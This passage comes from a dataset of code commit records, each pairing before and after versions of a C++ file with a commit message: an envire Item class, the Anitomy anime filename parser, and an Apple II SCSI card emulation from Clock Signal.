_ItemData& data) { this->user_data = data; }\n        void setData(_ItemData&& data) { this->user_data = std::move(data); }\n\n        \/**@brief getData\n        *\n        * Returns the user data\n        *\n        *\/\n        _ItemData& getData() { return this->user_data; }\n        const _ItemData& getData() const { return this->user_data; }\n\n        virtual std::type_index getTypeIndex() const\n        {\n            return std::type_index(typeid(envire::core::Item<_ItemData>));\n        }\n\n    private:\n        \/**Grants access to boost serialization *\/\n        friend class boost::serialization::access;\n\n        \/**Serializes the members of this class*\/\n        template <typename Archive>\n        void serialize(Archive &ar, const unsigned int version)\n        {\n            ar & BOOST_SERIALIZATION_BASE_OBJECT_NVP(envire::core::ItemBase);\n            ar & BOOST_SERIALIZATION_NVP(user_data);\n        }\n\n    };\n\n}}\n<commit_msg>fixed missing move when calling parent classes<commit_after>#pragma once\n\n#include \"ItemBase.hpp\"\n\n#include <utility>\n#include <envire_core\/serialization\/SerializationRegistration.hpp>\n\n#ifdef CMAKE_ENABLE_PLUGINS\n  #include <envire_core\/plugin\/Plugin.hpp>\n#endif\n\nnamespace envire { namespace core\n{\n\n    \/**@class Item\n    *\n    * Item class\n    *\/\n    template<class _ItemData>\n    class Item : public ItemBase\n    {\n    public:\n        typedef boost::shared_ptr< Item<_ItemData> > Ptr;\n        typedef _ItemData TemplateType;\n\n    protected:\n\n        _ItemData user_data;\n\n    public:\n\n        Item() : ItemBase()\n        {\n            user_data_ptr = &user_data;\n        }\n\n        Item(const Item<_ItemData>& item) :  ItemBase(item), user_data(item.user_data)\n        {\n            user_data_ptr = &this->user_data;\n        }\n\n        Item(Item<_ItemData>&& item) :  ItemBase(std::move(item)), user_data(std::move(item.user_data))\n        {\n            user_data_ptr = &this->user_data;\n        }\n\n        template <typename... Ts>\n        Item(Ts&&... args) : ItemBase(), user_data(std::forward<Ts>(args)...)\n        {\n            user_data_ptr = &user_data;\n        }\n\n        virtual ~Item() {}\n\n        Item<_ItemData>& operator=(const Item<_ItemData>& item)\n        {\n            ItemBase::operator=(item);\n            user_data = item.user_data;\n            return *this;\n        }\n\n        Item<_ItemData>& operator=(Item<_ItemData>&& item)\n        {\n            ItemBase::operator=(std::move(item));\n            user_data = std::move(item.user_data);\n            return *this;\n        }\n\n        \/**@brief setData\n        *\n        * Sets the user data\n        *\n        *\/\n        void setData(const _ItemData& data) { this->user_data = data; }\n        void setData(_ItemData&& data) { this->user_data = std::move(data); }\n\n        \/**@brief getData\n        *\n        * Returns the user data\n        *\n        *\/\n        _ItemData& getData() { return this->user_data; }\n        const _ItemData& getData() const { return this->user_data; }\n\n        virtual std::type_index getTypeIndex() const\n        {\n            return std::type_index(typeid(envire::core::Item<_ItemData>));\n        }\n\n    private:\n        \/**Grants access to boost serialization *\/\n        friend class boost::serialization::access;\n\n        \/**Serializes the members of this class*\/\n        template <typename Archive>\n        void serialize(Archive &ar, const unsigned int version)\n        {\n            ar & BOOST_SERIALIZATION_BASE_OBJECT_NVP(envire::core::ItemBase);\n            ar & BOOST_SERIALIZATION_NVP(user_data);\n        }\n\n    };\n\n}}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n** Anitomy\n** Copyright (C) 2014, Eren Okka\n** \n** This program is free software: you can redistribute it and\/or modify\n** it under the terms of the GNU General Public License as published by\n** the Free Software Foundation, either version 3 of the License, or\n** (at your option) any later version.\n** \n** This program is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n** GNU General Public License for more details.\n** \n** You should have received a copy of the GNU General Public License\n** along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <algorithm>\n\n#include \"keyword.h\"\n#include \"parser.h\"\n#include \"string.h\"\n\nnamespace anitomy {\n\nParser::Parser(Elements& data, token_container_t& tokens)\n    : data_(&data),\n      tokens_(&tokens) {\n}\n\nbool Parser::Parse() {\n  SearchForKeywords();\n\n  if (parse_options.parse_episode_number)\n    SearchForEpisodeNumber();\n\n  SearchForAnimeTitle();\n\n  if (parse_options.parse_release_group &&\n      data_->release_group.empty())\n    SearchForReleaseGroup();\n\n  if (parse_options.parse_episode_title)\n    SearchForEpisodeTitle();\n\n  return !data_->anime_title.empty();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Parser::SearchForKeywords() {\n  for (auto token = tokens_->begin(); token != tokens_->end(); ++token) {\n    if (token->category != kUnknown)\n      continue;\n\n    auto word = token->content;\n    TrimString(word);\n\n    \/\/ Don't bother if the word is a number that cannot be CRC\n    if (word.size() != 8 && IsNumericString(word))\n      continue;\n\n    \/\/ Checksum\n    if (data_->checksum.empty() && IsCrc32(word)) {\n      data_->checksum = word;\n      token->category = kIdentifier;\n      continue;\n\n    \/\/ Video resolution\n    } else if (data_->resolution.empty() && IsResolution(word)) {\n      data_->resolution = word;\n      token->category = kIdentifier;\n      continue;\n    }\n\n    \/\/ Performs better than making a case-insensitive Find\n    auto keyword = StringToUpperCopy(word);\n\n    \/\/ Video info\n    if (keyword_manager.Find(kKeywordVideo, keyword)) {\n      AppendKeyword(data_->video, word);\n      token->category = kIdentifier;\n\n    \/\/ Audio info\n    } else if (keyword_manager.Find(kKeywordAudio, keyword)) {\n      AppendKeyword(data_->audio, word);\n      token->category = kIdentifier;\n\n    \/\/ Version\n    } else if (data_->release_version.empty() &&\n               keyword_manager.Find(kKeywordVersion, keyword)) {\n      data_->release_version.push_back(word.back());  \/\/ number without \"v\"\n      token->category = kIdentifier;\n\n    \/\/ Group\n    } else if (parse_options.parse_release_group &&\n               data_->release_group.empty() &&\n               keyword_manager.Find(kKeywordGroup, keyword)) {\n      data_->release_group = word;\n      token->category = kIdentifier;\n\n    \/\/ Extras\n    } else if (parse_options.parse_extra_keywords &&\n               keyword_manager.Find(kKeywordExtra, keyword)) {\n      AppendKeyword(data_->extras, word);\n      token->category = kIdentifier;\n    } else if (parse_options.parse_extra_keywords &&\n               keyword_manager.Find(kKeywordExtraUnsafe, keyword)) {\n      AppendKeyword(data_->extras, word);\n      if (token->enclosed)\n        token->category = kIdentifier;\n    }\n  }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Parser::SearchForEpisodeNumber() {\n  \/\/ List all tokens that contain a number\n  std::vector<size_t> tokens;\n  for (size_t i = 0; i < tokens_->size(); i++) {\n    auto& token = tokens_->at(i);\n    if (token.category != kUnknown)\n      continue;  \/\/ Skip previously identified tokens\n    if (FindNumberInString(token.content) != token.content.npos)\n      tokens.push_back(i);\n  }\n  if (tokens.empty())\n    return;\n\n  \/\/ If a token matches a known episode pattern, it has to be the episode number\n  if (SearchForEpisodePatterns(tokens))\n    return;\n\n  \/\/ From now on, we're only interested in numeric tokens\n  for (auto it = tokens.begin(); it != tokens.end(); ) {\n    if (!IsNumericString(tokens_->at(*it).content)) {\n      it = tokens.erase(it);\n    } else {\n      ++it;\n    }\n  }\n  if (tokens.empty())\n    return;\n\n  \/\/ e.g. \"[12]\", \"(2006)\"\n  if (SearchForIsolatedNumbers(tokens))\n    return;\n\n  \/\/ e.g. \" - 08\"\n  if (SearchForSeparatedNumbers(tokens))\n    return;\n\n  \/\/ Consider using the last number as a last resort\n  SearchForLastNumber(tokens);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Parser::SearchForAnimeTitle() {\n  \/\/ Find the first non-enclosed unknown token\n  auto token_begin = std::find_if(tokens_->begin(), tokens_->end(),\n      [](const Token& token) {\n        return !token.enclosed && token.category == kUnknown;\n      });\n  if (token_begin == tokens_->end())\n    return;\n\n  \/\/ Continue until an identifier is found\n  auto token_end = std::find_if(token_begin, tokens_->end(),\n      [](const Token& token) {\n        return token.category == kIdentifier;\n      });\n  \/\/ If within the interval there's an open bracket without its matching pair,\n  \/\/ move the upper endpoint back to the bracket\n  auto last_bracket = token_end;\n  bool bracket_open = false;\n  for (auto token = token_begin; token != token_end; ++token) {\n    if (token->category == kBracket) {\n      last_bracket = token;\n      bracket_open = !bracket_open;\n    }\n  }\n  if (bracket_open)\n    token_end = last_bracket;\n\n  \/\/ Build anime title\n  BuildElement(data_->anime_title, false, token_begin, token_end);\n}\n\nvoid Parser::SearchForReleaseGroup() {\n  auto token_begin = tokens_->begin();\n  auto token_end = tokens_->begin();\n\n  do {\n    \/\/ Find the first enclosed unknown token\n    token_begin = std::find_if(token_end, tokens_->end(),\n        [](const Token& token) {\n          return token.enclosed && token.category == kUnknown;\n        });\n    if (token_begin == tokens_->end())\n      continue;\n\n    \/\/ Continue until a bracket or identifier is found\n    token_end = std::find_if(token_begin, tokens_->end(),\n        [](const Token& token) {\n          return token.category == kBracket || token.category == kIdentifier;\n        });\n    if (token_end->category != kBracket)\n      continue;\n\n    \/\/ Ignore if it's not the first token in group\n    auto previous_token = GetPreviousValidToken(token_begin);\n    if (previous_token != tokens_->end() &&\n        previous_token->category != kBracket) {\n      continue;\n    }\n\n    \/\/ Build release group, or anime title if it wasn't found earlier\n    bool title_not_found = data_->anime_title.empty();\n    auto& element = title_not_found ? data_->anime_title : data_->release_group;\n    BuildElement(element, !title_not_found, token_begin, token_end);\n    return;\n\n  } while (token_begin != tokens_->end());\n}\n\nvoid Parser::SearchForEpisodeTitle() {\n  \/\/ Find the first non-enclosed unknown token\n  auto token_begin = std::find_if(tokens_->begin(), tokens_->end(),\n      [](const Token& token) {\n        return !token.enclosed && token.category == kUnknown;\n      });\n  if (token_begin == tokens_->end())\n    return;\n\n  \/\/ Continue until a bracket or identifier is found\n  auto token_end = std::find_if(token_begin, tokens_->end(),\n      [](const Token& token) {\n        return token.category == kBracket || token.category == kIdentifier;\n      });\n\n  \/\/ Build episode title\n  BuildElement(data_->episode_title, false, token_begin, token_end);\n}\n\n}  \/\/ namespace anitomy<commit_msg>Continue search if anime title is empty<commit_after>\/*\n** Anitomy\n** Copyright (C) 2014, Eren Okka\n** \n** This program is free software: you can redistribute it and\/or modify\n** it under the terms of the GNU General Public License as published by\n** the Free Software Foundation, either version 3 of the License, or\n** (at your option) any later version.\n** \n** This program is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n** GNU General Public License for more details.\n** \n** You should have received a copy of the GNU General Public License\n** along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <algorithm>\n\n#include \"keyword.h\"\n#include \"parser.h\"\n#include \"string.h\"\n\nnamespace anitomy {\n\nParser::Parser(Elements& data, token_container_t& tokens)\n    : data_(&data),\n      tokens_(&tokens) {\n}\n\nbool Parser::Parse() {\n  SearchForKeywords();\n\n  if (parse_options.parse_episode_number)\n    SearchForEpisodeNumber();\n\n  SearchForAnimeTitle();\n\n  if (parse_options.parse_release_group &&\n      data_->release_group.empty())\n    SearchForReleaseGroup();\n\n  if (parse_options.parse_episode_title)\n    SearchForEpisodeTitle();\n\n  return !data_->anime_title.empty();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Parser::SearchForKeywords() {\n  for (auto token = tokens_->begin(); token != tokens_->end(); ++token) {\n    if (token->category != kUnknown)\n      continue;\n\n    auto word = token->content;\n    TrimString(word);\n\n    \/\/ Don't bother if the word is a number that cannot be CRC\n    if (word.size() != 8 && IsNumericString(word))\n      continue;\n\n    \/\/ Checksum\n    if (data_->checksum.empty() && IsCrc32(word)) {\n      data_->checksum = word;\n      token->category = kIdentifier;\n      continue;\n\n    \/\/ Video resolution\n    } else if (data_->resolution.empty() && IsResolution(word)) {\n      data_->resolution = word;\n      token->category = kIdentifier;\n      continue;\n    }\n\n    \/\/ Performs better than making a case-insensitive Find\n    auto keyword = StringToUpperCopy(word);\n\n    \/\/ Video info\n    if (keyword_manager.Find(kKeywordVideo, keyword)) {\n      AppendKeyword(data_->video, word);\n      token->category = kIdentifier;\n\n    \/\/ Audio info\n    } else if (keyword_manager.Find(kKeywordAudio, keyword)) {\n      AppendKeyword(data_->audio, word);\n      token->category = kIdentifier;\n\n    \/\/ Version\n    } else if (data_->release_version.empty() &&\n               keyword_manager.Find(kKeywordVersion, keyword)) {\n      data_->release_version.push_back(word.back());  \/\/ number without \"v\"\n      token->category = kIdentifier;\n\n    \/\/ Group\n    } else if (parse_options.parse_release_group &&\n               data_->release_group.empty() &&\n               keyword_manager.Find(kKeywordGroup, keyword)) {\n      data_->release_group = word;\n      token->category = kIdentifier;\n\n    \/\/ Extras\n    } else if (parse_options.parse_extra_keywords &&\n               keyword_manager.Find(kKeywordExtra, keyword)) {\n      AppendKeyword(data_->extras, word);\n      token->category = kIdentifier;\n    } else if (parse_options.parse_extra_keywords &&\n               keyword_manager.Find(kKeywordExtraUnsafe, keyword)) {\n      AppendKeyword(data_->extras, word);\n      if (token->enclosed)\n        token->category = kIdentifier;\n    }\n  }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Parser::SearchForEpisodeNumber() {\n  \/\/ List all tokens that contain a number\n  std::vector<size_t> tokens;\n  for (size_t i = 0; i < tokens_->size(); i++) {\n    auto& token = tokens_->at(i);\n    if (token.category != kUnknown)\n      continue;  \/\/ Skip previously identified tokens\n    if (FindNumberInString(token.content) != token.content.npos)\n      tokens.push_back(i);\n  }\n  if (tokens.empty())\n    return;\n\n  \/\/ If a token matches a known episode pattern, it has to be the episode number\n  if (SearchForEpisodePatterns(tokens))\n    return;\n\n  \/\/ From now on, we're only interested in numeric tokens\n  for (auto it = tokens.begin(); it != tokens.end(); ) {\n    if (!IsNumericString(tokens_->at(*it).content)) {\n      it = tokens.erase(it);\n    } else {\n      ++it;\n    }\n  }\n  if (tokens.empty())\n    return;\n\n  \/\/ e.g. \"[12]\", \"(2006)\"\n  if (SearchForIsolatedNumbers(tokens))\n    return;\n\n  \/\/ e.g. \" - 08\"\n  if (SearchForSeparatedNumbers(tokens))\n    return;\n\n  \/\/ Consider using the last number as a last resort\n  SearchForLastNumber(tokens);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Parser::SearchForAnimeTitle() {\n  \/\/ Find the first non-enclosed unknown token\n  auto token_begin = std::find_if(tokens_->begin(), tokens_->end(),\n      [](const Token& token) {\n        return !token.enclosed && token.category == kUnknown;\n      });\n  if (token_begin == tokens_->end())\n    return;\n\n  \/\/ Continue until an identifier is found\n  auto token_end = std::find_if(token_begin, tokens_->end(),\n      [](const Token& token) {\n        return token.category == kIdentifier;\n      });\n  \/\/ If within the interval there's an open bracket without its matching pair,\n  \/\/ move the upper endpoint back to the bracket\n  auto last_bracket = token_end;\n  bool bracket_open = false;\n  for (auto token = token_begin; token != token_end; ++token) {\n    if (token->category == kBracket) {\n      last_bracket = token;\n      bracket_open = !bracket_open;\n    }\n  }\n  if (bracket_open)\n    token_end = last_bracket;\n\n  \/\/ Build anime title\n  BuildElement(data_->anime_title, false, token_begin, token_end);\n}\n\nvoid Parser::SearchForReleaseGroup() {\n  auto token_begin = tokens_->begin();\n  auto token_end = tokens_->begin();\n\n  do {\n    \/\/ Find the first enclosed unknown token\n    token_begin = std::find_if(token_end, tokens_->end(),\n        [](const Token& token) {\n          return token.enclosed && token.category == kUnknown;\n        });\n    if (token_begin == tokens_->end())\n      continue;\n\n    \/\/ Continue until a bracket or identifier is found\n    token_end = std::find_if(token_begin, tokens_->end(),\n        [](const Token& token) {\n          return token.category == kBracket || token.category == kIdentifier;\n        });\n    if (token_end->category != kBracket)\n      continue;\n\n    \/\/ Ignore if it's not the first token in group\n    auto previous_token = GetPreviousValidToken(token_begin);\n    if (previous_token != tokens_->end() &&\n        previous_token->category != kBracket) {\n      continue;\n    }\n\n    \/\/ Build release group, or anime title if it wasn't found earlier\n    if (data_->release_group.empty()) {\n      BuildElement(data_->release_group, true, token_begin, token_end);\n      if (data_->anime_title.empty())\n        continue;\n    } else if (data_->anime_title.empty()) {\n      BuildElement(data_->anime_title, false, token_begin, token_end);\n      return;\n    }\n\n  } while (token_begin != tokens_->end());\n}\n\nvoid Parser::SearchForEpisodeTitle() {\n  \/\/ Find the first non-enclosed unknown token\n  auto token_begin = std::find_if(tokens_->begin(), tokens_->end(),\n      [](const Token& token) {\n        return !token.enclosed && token.category == kUnknown;\n      });\n  if (token_begin == tokens_->end())\n    return;\n\n  \/\/ Continue until a bracket or identifier is found\n  auto token_end = std::find_if(token_begin, tokens_->end(),\n      [](const Token& token) {\n        return token.category == kBracket || token.category == kIdentifier;\n      });\n\n  \/\/ Build episode title\n  BuildElement(data_->episode_title, false, token_begin, token_end);\n}\n\n}  \/\/ namespace anitomy<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  SCSICard.cpp\n\/\/  Clock Signal\n\/\/\n\/\/  Created by Thomas Harte on 22\/08\/2022.\n\/\/  Copyright © 2022 Thomas Harte. All rights reserved.\n\/\/\n\n\/\/ Per the documentation around the GGLabs Apple II SCSI card clone:\n\/\/\n\/\/ A 5380 is mapped to the first eight bytes of slot IO:\n\/\/\n\/\/\t$c0x0\tR\t\tcurrent SCSI data register\n\/\/\t$c0x0\tW\t\toutput data register\n\/\/\t$c0x1\tR\/W\t\tinitiator command register\n\/\/\t$c0x2\tR\/W\t\tmode select register\n\/\/\t$c0x3\tR\/W\t\ttarget command register\n\/\/\t$c0x4\tR\t\tSCSI bus status\n\/\/\t$c0x4\tW\t\tselect enable register\n\/\/\t$c0x5\tR\t\tbus and status register\n\/\/\t$c0x6\tR\t\tinput data register\n\/\/\t$c0x7\tR\t\treset parity and interrupts\n\/\/\t\t(i.e. the 5380's standard registers in their usual order)\n\/\/\n\/\/ The remaining eight are used for control functions:\n\/\/\n\/\/\t$c0x8\tR\/W\t\tPDMA\/DACK\n\/\/\t$c0x9\tR\t\tSCSI device ID\n\/\/\t$c0xa\tW\t\tmemory bank select register\n\/\/\t$c0xb\tW\t\treset 5380 SCSI chip\n\/\/\t$c0xc\t-\t\t[unused]\n\/\/\t$c0xd\tW\t\tPDMA mode enable\n\/\/\t$c0xe\tR\t\tread DRQ status through bit 7\n\/\/\t$c0xf\t-\t\t[unused]\n\/\/\n\/\/ Further, per that card's schematic:\n\/\/\n\/\/\tBANK REGISTER: bit 0..3 ROM Addr, 4..6 RAM Addr, 7 RSVD\n\/\/\n\/\/ Which relates to the description:\n\/\/\n\/\/\tThe card is also equipped with 16K of ROM and 8K of RAM.\n\/\/\tThese are mapped in the $C800-$CFFF card memory using a banking\n\/\/\tscheme. The $C0xA bank register selects the which bank of RAM\n\/\/\tand ROM are mapped. RAM is always at $C800-$CBFF and ROM is\n\/\/\tat $CC00-$CFFF. The boot code in the first 256 bytes of ROM\n\/\/\tbank 0 is also mapped in the IOSEL space ($Cn00-$CnFF).\n\/\/\n\n#include \"SCSICard.hpp\"\n\n#include <cstring>\n\nusing namespace Apple::II;\n\nROM::Request SCSICard::rom_request() {\n\treturn ROM::Request(ROM::Name::AppleIISCSICard);\n}\n\n\/\/ TODO: accept and supply real clock rate.\nSCSICard::SCSICard(ROM::Map &map, int clock_rate) :\n\tscsi_bus_(clock_rate),\n\tncr5380_(scsi_bus_, clock_rate),\n\tstorage_(scsi_bus_, 6)\n{\n\t\/\/ Grab a copy of the SCSI ROM.\n\tconst auto rom = map.find(ROM::Name::AppleIISCSICard);\n\tif(rom == map.end()) {\n\t\tthrow ROMMachine::Error::MissingROMs;\n\t}\n\tmemcpy(rom_.data(), rom->second.data(), rom_.size());\n\n\t\/\/ Set up initial banking.\n\trom_pointer_ = rom_.data();\n\tram_pointer_ = ram_.data();\n}\n\nvoid SCSICard::perform_bus_operation(Select select, bool is_read, uint16_t address, uint8_t *value) {\n\tswitch(select) {\n\t\tdefault: break;\n\n\t\tcase Select::Device:\n\t\t\tif(is_read) {\n\t\t\t\t*value = rom_[address & 255];\n\t\t\t}\n\t\tbreak;\n\n\t\tcase Select::IO:\n\t\t\taddress &= 0xf;\n\t\t\tswitch(address) {\n\t\t\t\tcase 0x0:\tcase 0x1:\tcase 0x2:\tcase 0x3:\n\t\t\t\tcase 0x4:\tcase 0x5:\tcase 0x6:\tcase 0x7:\n\t\t\t\t\tif(is_read) {\n\t\t\t\t\t\t*value = ncr5380_.read(address);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tncr5380_.write(address, *value);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tcase 0x9:\n\t\t\t\t\tif(is_read) {\n\t\t\t\t\t\t*value = uint8_t(ncr5380_.scsi_id());\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tcase 0x8:\n\t\t\t\t\t\/\/ DMA acknowledge.\n\t\t\t\t\tif(is_read) {\n\t\t\t\t\t\t*value = ncr5380_.dma_acknowledge();\n\t\t\t\t\t} else {\n\t\t\t\t\t\tncr5380_.dma_acknowledge(*value);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tcase 0xa:\n\t\t\t\t\t\/\/ RAM and ROM select.\n\t\t\t\t\tif(!is_read) {\n\t\t\t\t\t\tconst auto rom_base = size_t((*value & 0x0f) << 10);\n\t\t\t\t\t\tconst auto ram_base = size_t((*value & 0x70) << 6);\n\n\t\t\t\t\t\trom_pointer_ = &rom_[rom_base];\n\t\t\t\t\t\tram_pointer_ = &ram_[ram_base];\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tcase 0xe:\n\t\t\t\t\t\/\/ DRQ in b7.\n\t\t\t\t\tif(is_read) {\n\t\t\t\t\t\t*value = ncr5380_.dma_request() ? 0x80 : 0x00;\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\tprintf(\"Unhandled: %04x %c %02x\\n\", address, is_read ? 'r' : 'w', *value);\n\t\t\t\tbreak;\n\t\t\t}\n\t\tbreak;\n\n\t\tcase Select::C8Region:\n\t\t\tif(address & 0x400) {\n\t\t\t\tif(is_read) {\n\t\t\t\t\t*value = rom_pointer_[address & 0x3ff];\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif(is_read) {\n\t\t\t\t\t*value = ram_pointer_[address & 0x3ff];\n\t\t\t\t} else {\n\t\t\t\t\tram_pointer_[address & 0x3ff] = *value;\n\t\t\t\t}\n\t\t\t}\n\t\tbreak;\n\t}\n}\n\nvoid SCSICard::set_storage_device(const std::shared_ptr<Storage::MassStorage::MassStorageDevice> &device) {\n\tstorage_->set_storage(device);\n}\n<commit_msg>Add TODO shout-outs.<commit_after>\/\/\n\/\/  SCSICard.cpp\n\/\/  Clock Signal\n\/\/\n\/\/  Created by Thomas Harte on 22\/08\/2022.\n\/\/  Copyright © 2022 Thomas Harte. All rights reserved.\n\/\/\n\n\/\/ Per the documentation around the GGLabs Apple II SCSI card clone:\n\/\/\n\/\/ A 5380 is mapped to the first eight bytes of slot IO:\n\/\/\n\/\/\t$c0x0\tR\t\tcurrent SCSI data register\n\/\/\t$c0x0\tW\t\toutput data register\n\/\/\t$c0x1\tR\/W\t\tinitiator command register\n\/\/\t$c0x2\tR\/W\t\tmode select register\n\/\/\t$c0x3\tR\/W\t\ttarget command register\n\/\/\t$c0x4\tR\t\tSCSI bus status\n\/\/\t$c0x4\tW\t\tselect enable register\n\/\/\t$c0x5\tR\t\tbus and status register\n\/\/\t$c0x6\tR\t\tinput data register\n\/\/\t$c0x7\tR\t\treset parity and interrupts\n\/\/\t\t(i.e. the 5380's standard registers in their usual order)\n\/\/\n\/\/ The remaining eight are used for control functions:\n\/\/\n\/\/\t$c0x8\tR\/W\t\tPDMA\/DACK\n\/\/\t$c0x9\tR\t\tSCSI device ID\n\/\/\t$c0xa\tW\t\tmemory bank select register\n\/\/\t$c0xb\tW\t\treset 5380 SCSI chip\n\/\/\t$c0xc\t-\t\t[unused]\n\/\/\t$c0xd\tW\t\tPDMA mode enable\n\/\/\t$c0xe\tR\t\tread DRQ status through bit 7\n\/\/\t$c0xf\t-\t\t[unused]\n\/\/\n\/\/ Further, per that card's schematic:\n\/\/\n\/\/\tBANK REGISTER: bit 0..3 ROM Addr, 4..6 RAM Addr, 7 RSVD\n\/\/\n\/\/ Which relates to the description:\n\/\/\n\/\/\tThe card is also equipped with 16K of ROM and 8K of RAM.\n\/\/\tThese are mapped in the $C800-$CFFF card memory using a banking\n\/\/\tscheme. The $C0xA bank register selects the which bank of RAM\n\/\/\tand ROM are mapped. RAM is always at $C800-$CBFF and ROM is\n\/\/\tat $CC00-$CFFF. The boot code in the first 256 bytes of ROM\n\/\/\tbank 0 is also mapped in the IOSEL space ($Cn00-$CnFF).\n\/\/\n\n#include \"SCSICard.hpp\"\n\n#include <cstring>\n\nusing namespace Apple::II;\n\nROM::Request SCSICard::rom_request() {\n\treturn ROM::Request(ROM::Name::AppleIISCSICard);\n}\n\n\/\/ TODO: accept and supply real clock rate.\nSCSICard::SCSICard(ROM::Map &map, int clock_rate) :\n\tscsi_bus_(clock_rate),\n\tncr5380_(scsi_bus_, clock_rate),\n\tstorage_(scsi_bus_, 6)\n{\n\t\/\/ Grab a copy of the SCSI ROM.\n\tconst auto rom = map.find(ROM::Name::AppleIISCSICard);\n\tif(rom == map.end()) {\n\t\tthrow ROMMachine::Error::MissingROMs;\n\t}\n\tmemcpy(rom_.data(), rom->second.data(), rom_.size());\n\n\t\/\/ Set up initial banking.\n\trom_pointer_ = rom_.data();\n\tram_pointer_ = ram_.data();\n}\n\nvoid SCSICard::perform_bus_operation(Select select, bool is_read, uint16_t address, uint8_t *value) {\n\tswitch(select) {\n\t\tdefault: break;\n\n\t\tcase Select::Device:\n\t\t\tif(is_read) {\n\t\t\t\t*value = rom_[address & 255];\n\t\t\t}\n\t\tbreak;\n\n\t\tcase Select::IO:\n\t\t\taddress &= 0xf;\n\t\t\tswitch(address) {\n\t\t\t\tcase 0x0:\tcase 0x1:\tcase 0x2:\tcase 0x3:\n\t\t\t\tcase 0x4:\tcase 0x5:\tcase 0x6:\tcase 0x7:\n\t\t\t\t\tif(is_read) {\n\t\t\t\t\t\t*value = ncr5380_.read(address);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tncr5380_.write(address, *value);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tcase 0x9:\n\t\t\t\t\tif(is_read) {\n\t\t\t\t\t\t*value = uint8_t(ncr5380_.scsi_id());\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tcase 0x8:\n\t\t\t\t\t\/\/ DMA acknowledge.\n\t\t\t\t\tif(is_read) {\n\t\t\t\t\t\t*value = ncr5380_.dma_acknowledge();\n\t\t\t\t\t} else {\n\t\t\t\t\t\tncr5380_.dma_acknowledge(*value);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tcase 0xa:\n\t\t\t\t\t\/\/ RAM and ROM select.\n\t\t\t\t\tif(!is_read) {\n\t\t\t\t\t\tconst auto rom_base = size_t((*value & 0x0f) << 10);\n\t\t\t\t\t\tconst auto ram_base = size_t((*value & 0x70) << 6);\n\n\t\t\t\t\t\trom_pointer_ = &rom_[rom_base];\n\t\t\t\t\t\tram_pointer_ = &ram_[ram_base];\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tcase 0xb:\n\t\t\t\t\tif(!is_read) {\n\t\t\t\t\t\tprintf(\"TODO: NCR reset\\n\");\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tcase 0xd:\n\t\t\t\t\tif(!is_read) {\n\t\t\t\t\t\tprintf(\"TODO: Enable PDMA\\n\");\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tcase 0xe:\n\t\t\t\t\t\/\/ DRQ in b7.\n\t\t\t\t\tif(is_read) {\n\t\t\t\t\t\t*value = ncr5380_.dma_request() ? 0x80 : 0x00;\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\tprintf(\"Unhandled: %04x %c %02x\\n\", address, is_read ? 'r' : 'w', *value);\n\t\t\t\tbreak;\n\t\t\t}\n\t\tbreak;\n\n\t\tcase Select::C8Region:\n\t\t\tif(address & 